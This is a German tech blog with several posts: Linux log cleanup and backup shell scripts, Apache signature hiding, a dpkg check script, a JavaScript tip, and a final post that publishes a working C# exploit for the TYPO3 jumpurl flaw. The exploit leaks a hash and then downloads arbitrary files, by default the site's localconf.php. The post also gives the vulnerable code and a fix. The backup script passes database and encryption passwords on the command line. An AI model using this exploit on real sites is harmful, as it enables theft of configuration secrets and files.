Jeder Daemon auf einem Linux System führt eine Log Datei im Verzeichnis /var/log. Ab einer gewissen Laufzeit finden sich dort mehere Megabyte an archivierten Log Dateien. Das händische löschen von archivierten Log Datein ist eine nervige Sache. Um mir Nerven und Zeit zu ersparen habe ich mir ein Script geschrieben das mir diese Arbeit abnimmt.

#!/bin/sh
 
## Logfile
LOGFILE="/var/log/cleanup.log"
 
find /var/log/ -iname *.gz -type f -exec rm -fv {} ; >> $LOGFILE 2>&1
 
if [ $? -ne 0 ]; then		
	exit 1
else	
	exit 0
fi

Das Script sucht mit „find“ im Verzeichnis /var/log nach archivierten Log Dateien (Dateien mit der Endung .gz) und entfernt diese. Ironischer Weise legt das Script ebenfalls eine Log Datei an (/var/log/cleanup.log) in der gelöschte Dateien und Probleme niedergeschrieben werden.

Keine Kommentare »
 

Durch das Verstecken von Informationen macht man es Angreifern schwieriger etwas über das System herauszufinden. Der Apache2 zeigt dem Angreifer beim Aufruf einer nicht vorhandenen Datei vom Server welche Apache2 Server Version installiert ist, welche Patches verwendet werden und welche Interpreter auf dem Server installiert sind. Diese Informationen reichen aus um in Exploit Datenbanken nach passenden Exploits zu suchen. Das ausblenden dieser Information geht leicht von der Hand. Es gibt also keine Grund diese nicht zu verstecken.

Meine Wahl fällt dabei auf das erstellen einer weiteren Konfigurationsdatei in /etc/apache2/conf.d. Dateien in diesem Verzeichnis werden automatisiert eingelesen und für die Apache2 Einstellungen verwendet. In der Datei wird die Option ServerSignature verwendet um, wie schon am Optionsname zu erkennen, die Server Signatur auszublenden. Der Inhalt der Datei, benannt server_signature, gestaltet sich beim mir so:

ServerSignature Off
ServerTokens Prod

Es kann auch die Datei /etc/apache2/httpd.conf um diesen Eintrag zu erweitert werden anstatt eine separate Konfigurationsdatei anzulegen. Ebenfalls ist es möglich nur Teile der Server Signatur auszublenden. Mehr dazu findest du hier. Interessant ist, das die Server Variable $_SERVER[‚SERVER_SIGNATURE‘] in PHP sich mit der Änderung der ServerSignature ändert. In den gängigen Webapplikationen wird diese Variable nicht verwendet. Ich wüsste auch keinen Einsatzbereich für diese.

ServerTokens setzt die Signatur des Servers im HTTP Response Header auf ein Minimum. Die Ausgabe beim Parameter „Prod“ ist lediglich „Apache“. Ein entfernen aller Informationen zum Server ist nur mit dem editieren des Apache2 Quellcodes oder über die Erweiterung mod_security möglich. Jedoch bin nichtmal ich so paranoid diese Möglichkeit zu nutzen.

ein Kommentar »
 

Auf der Suche nach einem Backup Shell Script für meinen Debian Server wurde ich in den weiten des Internets nicht fündig. Zumindest fand ich kein Script das genau das tat was ich wollte. Also machte ich mich selbst ans Werk. Vorweg: Das Script erstellt nicht einfach eine simple Kopie des Festplatteninhalts. Dies verbraucht meiner Meinung nach zu viel Speicherplatz. Sämtliche Debian Binarys müssen nämlich nicht gesichert werden. Denn diese sind von den Servern aus der sources.list abrufbar. Einzig und allein die Binarys unter /usr/local/ werden, neben den Konfigurationsdateien unter /etc/ und den Dateien unter /var/ /home/ und /root/, gesichtert. Natürlich können diese Verzeichnisse geändert werden. Es reicht die Variable TOBACKUP im Konfigurationsteil des Scriptes um die entsprechenden Verzeichnisse zu erweitern oder mit Hilfe der Variable TOEXCLUDE Unterverzeichnisse vom Backup auszuschließen. Die Kernel Version, Distribution, Architektur und der Installationszeitpunkt des Systems werden nochmals seperat in der Datei uname.txt gesichert.

Ebenso erstellt das Script SQL Dumps von allen MySQL Datenbanken des Servers und läd das gesamte Backup, verschlüsselt oder nur komprimiert, optional auch auf einen FTP Space übertragen. Wichtig ist das das Verzeichnis das in OUTDIR eingetragen ist exisitert. Sowohl bei lokalem speichern des Backups als auch beim remote Backup Vorgang auf den FTP Space. Eine Übertragung auf einen FTP Backup Space erfolgt nur, wenn FTP Zugangsdaten hinterlegt sind. Sollte etwas in die Option BACKUPPASS eingetragen sein verschlüsselt das Script die Daten mit GnuPG.

Die Kommentare im Script habe ich in englisch gehalten. Damit sollte eigentlich jeder zurecht kommen und ich muss das Script nicht mehrsprachig kommentiert online stellen. Auf alle Konfigurationsoptionen möchte ich hier im Text nicht weiter eingehen. Die Variablenbezeichnungen sowie die Kommentare sollten alles erklären.

#!/bin/sh
 
##
## <Configuration>
##
 
## Backup prefix
PREFIX="yourprefix_"
 
## Dirs which should be backed
TOBACKUP="/root/ /home/ /etc/ /var/ /usr/local/"
 
## Dirs which shouldn't be backed
TOEXCLUDE="/yourdirstoexclude/"
 
## MySQL login data
MYSQLUSER="yoursqluser"
MYSQLPASS="yoursqlpass"
MYSQLHOST="yoursqlhost"
 
## Dir to save backup
OUTDIR="yourdirtosave"
 
## FTP login form the backup FTP server (optional)
FTPHOST="optionalyourftphost"
FTPUSER="optionalyourftpuser"
FTPPASS="optionalyourftppss"
 
## Backup password (optional)
BACKUPPASS="optionalyourpassword"
 
## Working dir
WORKINGDIR="/tmp/"
 
## Logfile
LOGFILE="/var/log/${PREFIX}backup.log"
 
##
## </Configuration>
##
 
if [ -n "$OUTDIR" ]; then
 
	## Set prozess priority
	renice -19 -p $$ 1> /dev/null 2>> $LOGFILE
 
	## Set I/O priority
	ionice -c2 -n1 -p $$ 1> /dev/null 2>> $LOGFILE
 
	## Date and time
	DATE=$(date "+%Y-%m-%d-%H-%M-%S")
 
	## Create and enter working dir
	mkdir ${WORKINGDIR}${PREFIX}${DATE}
	cd ${WORKINGDIR}${PREFIX}${DATE}
 
	## Save version
	uname -a > "uname.txt"
	TOBACKUP="${TOBACKUP} uname.txt"
 
	## Create a list with installed deb pakets
	dpkg --get-selections > "deb.list"
	TOBACKUP="${TOBACKUP} deb.list"
 
	## Create MySQL dump environment
	mkdir mysqldumps/
	TOBACKUP="${TOBACKUP} mysqldumps/"
 
	## Create MySQL dumps from all databases
	DBS="$(mysql  -h $MYSQLHOST -u $MYSQLUSER -p$MYSQLPASS -Bse 'show databases' 2>> $LOGFILE)"	
	if [ $? -ne 0 ]; then
 
		## Delete temporary files
		rm -r ${WORKINGDIR}${PREFIX}${DATE}
		exit 1
	fi
	for DB in $DBS; do
		mysqldump --skip-lock-tables -h $MYSQLHOST -u $MYSQLUSER -p$MYSQLPASS $DB > "mysqldumps/${DB}.sql"
	done
 
        ## Exclude dirs
	if [ -n "$TOEXCLUDE" ]; then
 
		TOEXCLUDE="--exclude ${TOEXCLUDE}"
	fi
 
	## Compress and / or encrypt files
	if [ -n "$BACKUPPASS" ]; then	
 
		VAR_EXTENSION=".tar.bz2.gpg"
		tar -cf - $TOBACKUP $TOEXCLUDE 2> /dev/null | gpg --symmetric --bzip2-compress-level 9 --passphrase ${BACKUPPASS}  > "${PREFIX}${DATE}${VAR_EXTENSION}"
	else
 
		VAR_EXTENSION=".tar.bz2"
		tar -cf - $TOBACKUP $TOEXCLUDE 2> /dev/null | bzip2 -c --best > "${PREFIX}${DATE}${VAR_EXTENSION}"
	fi
 
	if [ -n "$FTPHOST" ] && [ -n "$FTPUSER" ] && [ -n "$FTPPASS" ]; then
 
		## Save backup on FTP server
		ncftpput -u $FTPUSER -p $FTPPASS $FTPHOST $OUTDIR "${PREFIX}${DATE}${VAR_EXTENSION}" 2>> $LOGFILE
 
	else
 
		## Save backup lokal
		cp "${PREFIX}${DATE}${VAR_EXTENSION}" "$OUTDIR" 2>> $LOGFILE
	fi
 
	## Delete temporary files
	rm -r ${WORKINGDIR}${PREFIX}${DATE}
 
	if [ $? -ne 0 ]; then		
		exit 1
	else	
		exit 0
	fi
else
	echo "Error: Output dir is empty" >> $LOGFILE 
	exit 1
fi

Der Name des komprimierten Backups setzt sich wie folgt zusammen: %Präfix%%Jahr%-%Monat%-%Tag%-%Stunde%-%Minute%-%Sekunde%.tar.bz2. Die Log Datei des Scripts findest du unter /var/log/%Präfix%backup.log. Enthalten sind dort Statistiken und Fehler zur FTP Übertragung sowie kritische Konfigurationsfehler.

Im Script werden Prozess und I/O Priorität angepasst um den Server nicht an seiner regulären Arbeit zu hindern. Beachte dabei das ein Ausführen von nice nur mit root Rechten möglich ist.

Mögliche Probleme mit Paketabhängigkeiten sollten sich nach dem erfolgreichen ausführen dieses Befehls erledigt haben:

sudo apt-get install ncftp bzip2 gnupg

Sowohl date als auch tar, nice, ionice dpkg und mysql / mysqldump sind normalerweise auf dem Server vorhanden.

Bei Fragen oder Problemen scheue nicht die Kommentarfunktion zu verwenden.

17 Kommentare »
 

In diesem Artikel veröffentliche ich ein Script, das es schnell und einfach ermöglicht zu prüfen ob ein Paket installiert ist. Dieses Script kann auf allen Distributionen die den Debian Package Manager (kurz dpkg) als Programm zur Paketverwaltung verwenden eingesetzt werden. Auf jeden Fall ist es also auf Debian und Ubuntu funktional. Es wird mit Hilfe von dpkg und grep geprüft ob ein deb Paket den Suchstring im Namen hat.

Der Inhalt meines Scriptes dpkgcheck.sh:

#! /bin/sh
 
if [ -n "$1" ]; then
	dpkg --get-selections | xargs -n 1 | grep "$1"
	exit 0
else
	echo "#n# dpkgcheck.sh - searchs installed deb pakagesn# Usage: ./dpkgcheck.sh <name> n#"
	exit 1
fi

Sollte das Script keine Ausgabe haben ist kein Paket installiert das den erforderlichen Suchstring im Paketname hat. Vergesst nicht dem Script vor dem Ausführen x zu geben (chmod +x <name>).

Keine Kommentare »
 

Da die Statistik sehr viele Suchanfragen nach dem oben betitelten Thema verzeichnet, habe ich mich entschlossen darüber zu schreiben. Allgemein ist „Javascript: prüfen ob ein Element existiert“ ein gutes Google Thema. In Javascript ist das prüfen ob ein Element existiert bzw. vorhanden ist ebenso einfach wie in jQuery. Zum Javascriptcode:

if (document.getElementById('divname')) {
// Code ausführen, wenn DIV Element vorhanden. Funktioniert!
}

Der Selektor ist in purem Javascript auf die div id beschränkt. Sehr ärgerlich ist das hierbei keine Klassen selektiert werden können. jQuery bietet diese Möglichkeit.

4 Kommentare »
 

C#: Typo3 Jumpurl Exploit

Um es mir zu ermöglichen Typo3 Installationen von Windows System aus auf die Jumpurl Sicherheitslückezu überprüfen, habe ich mir einen Exploit in C# programmiert. Ich veröffentliche den Exploit erst jetzt, weil inzwischen die meisten Systeme gefixt sein sollten. Zunächst möchte ich die Vorgehensweise des Exploits beschreiben.

Als erstes wird ein HTTP Anfrage mit einer bestimmten Kombination an GET Parametern an Typo3 gesandt. Die Antwort dieser Anfrage wird eingelesen und die Prüfsumme die in der Antwort steht ausgelesen. Nun wird eine zweite Anfrage an das Typo3 System gesandt. Diese Abfrage ist eine Downloadanforderung für eine Datei, welche mit der Prüfsumme aus der zuvor erhaltenen Anfrage validiert wird.

Verwundbar sind die Typo3 Versionen TYPO3 < 4.2.6, TYPO3 < 4.1.10 und TYPO3 < 4.0.12. In den Typo3 Versionen < 4 findest du die fehlerhafte Datei in „tslib/class.tslib_fe.php“. In den Versionen >= 4 ist die Datei unter „typo3/sysext/cms/tslib/class.tslib_fe.php“ zu finden. Schauen wir uns den verwundbaren Quellcodeabschnitt mit Vorgangs relevanten Kommentaren Typo3 aus an:

## Prüfen ob $_GET['jumpurl'] nicht leer ist
if ($this-&gt;jumpurl)	{
 
    ## Prüfen ob $_GET['juSecure'] nicht leer ist
    if (t3lib_div::_GP('juSecure'))	{
        $hArr = array(
            $this-&gt;jumpurl,
            t3lib_div::_GP('locationData'),
            $this-&gt;TYPO3_CONF_VARS['SYS']['encryptionKey']
        );
        $calcJuHash=t3lib_div::shortMD5(serialize($hArr));
        $locationData = t3lib_div::_GP('locationData');
        $juHash = t3lib_div::_GP('juHash');
 
        ## Prüfe ob $_GET['juHash'] gleich der errechneten Prüfsumme
        if ($juHash == $calcJuHash)	{
 
            ## $_GET['locationData'] überprüfen
            if ($this-&gt;locDataCheck($locationData))	{
                $this-&gt;jumpurl = rawurldecode($this-&gt;jumpurl);
                if (t3lib_div::verifyFilenameAgainstDenyPattern($this-&gt;jumpurl) &amp;&amp; basename(dirname($this-&gt;jumpurl)) !== 'typo3conf') {
                    if (@is_file($this-&gt;jumpurl)) {
                        $mimeType = t3lib_div::_GP('mimeType');
                        $mimeType = $mimeType ? $mimeType : 'application/octet-stream';
 
                        ## Das Senden der Datei
                        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                        header('Content-Type: '.$mimeType);
                        header('Content-Disposition: attachment; filename='.basename($this-&gt;jumpurl));
                        readfile($this-&gt;jumpurl);
                        exit;
                    } else die('jumpurl Secure: "'.$this-&gt;jumpurl.'" was not a valid file!');
                } else die('jumpurl Secure: The requested file type was not allowed to be accessed through jumpUrl (fileDenyPattern)!');
            } else die('jumpurl Secure: locationData, '.$locationData.', was not accessible.');
 
        ## Hier findet die Ausgabe der Prüfsumme statt
        } else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');
    } else {

Die Sicherheitslücke kann durch das ersetzen von:

} else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');

durch:

} else die('jumpurl Secure: Calculated juHash did not match the submitted juHash.');

geschlossen werden. Natürlich kannst du potentiellen Angreifern auch eine Nachricht hinterlassen oder dich über einen Angriff und den Angreifer informieren lassen. Ein kleines Beispiel hierzu:

} else {
	mail(
		'mail@example.com', ## Hier musst du deine E-Mail Adresse eintragen
		'Möglicher Einbruchsversuch auf Ihrem Typo3 System ('.$_SERVER['HTTP_HOST'].') via Jumpurl',		
		"IP:n".$_SERVER['REMOTE_ADDR'].
		"nnUhrzeit:n".date('d.m.Y H:i:s', $_SERVER['REQUEST_TIME']).
		"nnGET Parameter:n".$_SERVER['QUERY_STRING'],
		"Content-type: text/plain; charset=utf-8rn"
	);
        exit('

Der Systemadministrator wurde benachrichtigt.

‚); }

(Der zu ersetzende Teil bezieht sich auf den oben angesprochenen Fehlerhaften Quellcodeabschnitt)

Der C# Quellcode basiert auf der get_http_as_string Funktion die bereits in einem anderen Artikel besprochen wurde. Das ist der, wie immer gut kommentierte, C# Exploit Quellcode für die Typo3 Sicheitslücke:

/*
 * [arg[0] = string] die URL zum Typo3 System
 * [arg[1] = string] (optional) die herunterzuladende Datei
 */
public static void Main(string[] args)
{
        // Prüfe ob arg[0] vorhanden
	if (args.Length &gt; 0) 
        {
                // Regulärer Ausdruck für die URL Validierung         
		Regex r = new Regex(@"^https?://([a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?.)+([a-zA-Z]{2,6})/|[a-zA-Z0-9]/$");
 
                // Prüfe ob URL valide anhand des Regulären Ausdrucks		
		if (r.IsMatch(args[0]))
		{
			string file = "";
 
                        // Prüfe ob arg[1] vorhanden
			if (args.Length &gt; 1) 
			{
 
                               // Prüfe ob arg[1] nicht leer ist  
				if (args[1].Length &gt; 0) 
				{
					file = args[1];
				}
				else 
				{
					file = "typo3conf/localconf.php";
				}
			}
			else 
			{
				file = "typo3conf/localconf.php";
			}
 
                        // Ermittle mit einer HTTP Anfrage die Ausgabe der Prüfsumme
			string content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&amp;juSecure=1&amp;locationData=1:", 8192);
 
                        // Prüfe ob Ausgabe vorhanden
			if (content.Length &gt; 0) {
 
                                // Regulärer Ausdruck für die Prüfsumme
				r = new Regex("([a-f0-9]{10})+");
 
                                // Versuche die Prüfsumme anhand des Regulären Ausdrucks zu finden
				Match m = r.Match(content);
 
                                // Prüfe ob die Prüfsumme gefunden wurde
				if (m.Length &gt; 0)
				{
                                        // Prüfsumme wurde gefunden. Starte zweite HTTP Anfrage mit der Downloadanforderung.
					content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&amp;juSecure=1&amp;locationData=1:&amp;juHash=" + m.Value, 8192);
					Console.WriteLine("# File content:");
					Console.WriteLine(content);
					Console.WriteLine("# Attack successful!");
				}
				else
				{
					Console.WriteLine("# Hash indeterminate );");
				}	
			}
			else
			{
				Console.WriteLine("# Something is going really wrong. Maybe the URL?");
			}
		}
		else
		{
			Console.WriteLine("# Wrong URL format. Try this: http://./&lt;dir[OPTIONAL]&gt;/");	
		}
	}
	else 
	{
		Console.WriteLine("# Typo3 Jumpurl exploit");	
		Console.WriteLine("# Usage: http://./ &lt;file[OPTIONAL]&gt;");
		Console.WriteLine("# More: http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/");
	}	
}

Ist das zweite Argument beim Programmaufruf nicht gesetzt wird versucht die Typo3 Konfigurationsdatei aus dem standard Pfad (typo3conf/localconf.php) herunterzuladen.

Das komplette Mono Projekt inklusive der ausführbaren Datei kann hier heruntergeladen werden:

Typo3 Jumpurl Exploit – C# Mono Projekt – herunterladen

(Das Programm ist zu Studienzwecken da und nicht um damit Unfug zu treiben)

Keine Kommentare »